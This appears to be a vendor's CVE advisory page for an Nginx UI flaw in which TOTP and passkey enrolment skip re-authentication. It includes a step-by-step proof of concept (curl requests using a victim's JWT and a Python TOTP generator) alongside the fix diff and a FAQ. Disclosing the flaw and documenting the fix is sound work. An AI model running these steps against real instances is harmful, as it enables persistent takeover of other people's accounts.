CVE-2026-84313

Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover

r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP)                     // ← outside RequireSecureSession
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration)  // ← outside RequireSecureSession

o := r.Group("", middleware.RequireSecureSession())
{
    o.GET("/otp_reset", ResetOTP)                     // reset *is* protected, inconsistent
    ...
}

if cUser.EnabledOTP() { ... abort ... }
var twoFA struct {
    Secret   string `json:"secret"   binding:"required"`
    Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)

JWT="<victim_jwt>"

# Step 1, request a fresh TOTP secret server-side (anyone with JWT can call):
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
 "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}

# Step 2, compute current 30-s TOTP code (attacker-side):
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084

# Step 3, bind that secret to the victim's account:
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
       -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
       http://127.0.0.1:18080/api/otp_enroll

HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
 "last_viewed":1778338236}

# Step 4, confirm 2FA is now enabled on the victim's account:
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
 "recovery_codes_generated":true,"recovery_codes_viewed":true}

• Persistent account takeover surviving the victim's password reset.
• Combines trivially with any of: stolen JWT, the RequireSecureSession bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-84313 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.10-0.20260703131214-23d1934099b0); upgrading removes the vulnerable code path.

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api/user/router.go, move enrolment routes inside the secure-session group:

-    r.POST("/otp_enroll", EnrollTOTP)
-    r.GET("/begin_passkey_register", BeginPasskeyRegistration)
-    r.POST("/finish_passkey_register", FinishPasskeyRegistration)
-
     o := r.Group("", middleware.RequireSecureSession())
     {
+        o.POST("/otp_enroll", EnrollTOTP)
+        o.GET("/begin_passkey_register", BeginPasskeyRegistration)
+        o.POST("/finish_passkey_register", FinishPasskeyRegistration)
         o.GET("/otp_reset", ResetOTP)
         ...
     }

This patch alone is not sufficient, the RequireSecureSession middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring UpdateCurrentUserPassword at api/user/current_user.go).

1. What is CVE-2026-84313? CVE-2026-84313 is a high-severity improper authentication vulnerability in github.com/0xJacky/Nginx-UI (go), affecting versions < 1.9.10-0.20260703131214-23d1934099b0. It is fixed in 1.9.10-0.20260703131214-23d1934099b0. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2026-84313? CVE-2026-84313 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/0xJacky/Nginx-UI are affected by CVE-2026-84313? github.com/0xJacky/Nginx-UI (go) versions < 1.9.10-0.20260703131214-23d1934099b0 is affected.
4. Is there a fix for CVE-2026-84313? Yes. CVE-2026-84313 is fixed in 1.9.10-0.20260703131214-23d1934099b0. Upgrade to this version or later.
5. Is CVE-2026-84313 exploitable, and should I be worried? Whether CVE-2026-84313 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-84313 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-84313? Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20260703131214-23d1934099b0 or later.

Other vulnerabilities in github.com/0xJacky/Nginx-UI